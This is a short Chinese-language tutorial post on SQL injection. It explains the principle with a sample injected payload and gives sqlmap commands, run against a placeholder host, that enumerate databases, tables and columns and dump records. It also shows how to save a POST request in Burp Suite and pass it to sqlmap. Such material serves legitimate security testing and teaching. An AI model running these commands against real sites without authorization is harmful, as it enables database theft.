利用burpsuite+sqlmap POST自动化注入详解

时间:2022-07-23
本文章向大家介绍利用burpsuite+sqlmap POST自动化注入详解,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例

对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式

sql注入的原理

1.以我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询.

2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1 这里,id=1是正常的参数

3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1' and select database() --+ 这里and后的语句就是"非法语句",显然服务端不希望我们获取响应信息.这时,sql注入就出现了.

4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.

5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.

常用工具

sqlmap:代替手动,自动构造大量的sql语句探测漏洞,高效发现目标信息 burpsuite:抓包,拦截抓取到请求的参数,如果目标不是get请求,我们无法在url中拼接参数,所以需要抓包再结合sqlmap进入注入测试

get注入(使用sqlmap)

假设 http://www.test.com/fu?id=111 是存在注入点的url

①sqlmap注入爆数据库

python sqlmap.py -u "http://www.test.com/fu?id=111" --dbs

②爆出对应数据库中所有的表

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 --tables

③爆出对应表的列名

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 --columns

④爆出表的所有记录

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 -C "字段1,字段2,字段3,字段4" --dump

上述语法中 `-u` 可以省略

post注入(burpsuite+sqlmap)

post请求无法通过以上的 sql语句直接扫描,下面是对于post请求的SQL漏洞测试方法

①通过burpsuite 查看请求

burpsuite的安装及使用

右键copy to file 将请求内容保存为文件

②打开sqlmap

爆数据库语句 sqlmap -r 前面保存的位置 -p 请求参数 --dbs

获取库名后,爆表、字段、记录其它用法和get类型的请求一致